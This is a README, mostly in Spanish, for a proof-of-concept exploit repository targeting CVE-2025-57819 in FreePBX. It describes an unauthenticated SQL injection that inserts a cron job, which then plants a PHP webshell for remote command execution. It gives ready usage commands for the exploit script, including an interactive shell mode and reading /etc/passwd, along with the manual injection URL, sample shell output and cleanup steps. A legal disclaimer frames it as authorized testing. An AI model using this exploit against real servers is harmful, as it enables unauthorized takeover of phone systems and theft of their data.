
FreePBX inyección SQL no autenticada que conduce a ejecución remota de código, FreePBX 15 (inferior a 15.0.66), 16 (inferior a 16.0.89), 17 (inferior a 17.0.3). La vulnerabilidad se encuentra en el módulo comercial "endpoint", debido a un filtrado deficiente de la entrada del usuario, permite a atacantes no autenticados eludir los privilegios de administrador, ejecutar inyección SQL y, finalmente, lograr ejecución remota de código.
CVE-2025-57819 es una vulnerabilidad crítica de inyección SQL en FreePBX que permite a un atacante no autenticado lograr la ejecución remota de código encadenando una inyección SQL con la inyección de trabajos cron.
⚠️ Aviso legal: Este repositorio es solo para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado de este exploit contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. El autor no es responsable de ningún uso indebido o daño.
| Campo | Detalle |
|---|---|
| CVE | CVE-2025-57819 |
| Producto afectado | FreePBX (pre-autenticación) |
| Tipo de vulnerabilidad | Inyección SQL (consultas apiladas) |
| Impacto | Ejecución remota de código (RCE) |
| Vector de ataque | Red (HTTP GET) |
| Autenticación requerida | ❌ Ninguna |
┌────────────────────────────────────────────────────────────────┐
│ 1. SQL Injection │
│ POST /admin/ajax.php?brand= → stacked query │
│ INSERT INTO cron_jobs … │
├────────────────────────────────────────────────────────────────┤
│ 2. Cron Job Injection │
│ Malicious cron job writes base64-decoded PHP webshell │
│ to /var/www/html/shell.php │
├────────────────────────────────────────────────────────────────┤
│ 3. WebShell Access │
│ GET /shell.php?cmd=<command> → arbitrary code execution │
└────────────────────────────────────────────────────────────────┘
/admin/ajax.php procesa el parámetro brand sin una sanitización adecuada, lo que permite consultas SQL apiladas.INSERT INTO cron_jobs que programa un comando malicioso cada minuto.# Clone
git clone [email protected]:Neobee714/CVE-2025-57819-POC.git
cd CVE-2025-57819-POC
# Install dependency
pip install requests
# Basic usage
python exploit.py <target>
# Drop into interactive shell after injection
python exploit.py <target> --shell
# Execute a single command
python exploit.py <target> --cmd "cat /etc/passwd"
usage: exploit.py [-h] [-p PORT] [--shell] [--cmd CMD]
[--param PARAM] [--no-wait] [-v]
target
CVE-2025-57819 – FreePBX SQLi → Cron → WebShell
positional arguments:
target target hostname or IP (with optional scheme)
options:
-h, --help show this help message and exit
-p, --port PORT port (default: 80/443)
--shell drop into interactive shell after injection
--cmd CMD execute a single command via the webshell
--param PARAM webshell query-string parameter (default: cmd)
--no-wait skip the webshell-verification poll
-v, -vv increase verbosity (-v info, -vv debug)
# Target with default HTTP port
python exploit.py connected.htb
# Target with custom port
python exploit.py 10.10.11.100 -p 8080
# Inject, verify, and drop into interactive shell
python exploit.py 10.10.11.100 --shell
# Inject and run a single command
python exploit.py connected.htb --cmd "whoami"
# Skip the verification poll (if you already know the shell is live)
python exploit.py connected.htb --no-wait --cmd "id"
# Verbose output for debugging
python exploit.py connected.htb -vv --shell
Al usar --shell, el script abre una pseudo-terminal:
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
[*] Shell session ended.
Escribe exit (o Ctrl-C, Ctrl-D) para salir de la sesión.
Si prefieres los pasos manuales, el exploit hace tres cosas:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x'%20%3BINSERT%20INTO%20cron_jobs%20...
El trabajo cron inyectado (* * * * *) se ejecuta cada minuto y escribe la webshell.
GET /shell.php?cmd=id
Después de las pruebas, elimina la webshell y la entrada del trabajo cron:
DELETE FROM cron_jobs WHERE command LIKE '%base64%';
Luego elimina /var/www/html/shell.php del sistema de archivos.
/admin/ajax.php es accesible sin autenticaciónEste proyecto se proporciona únicamente con fines educativos y de investigación de seguridad defensiva. Consulta el aviso legal al principio de este documento.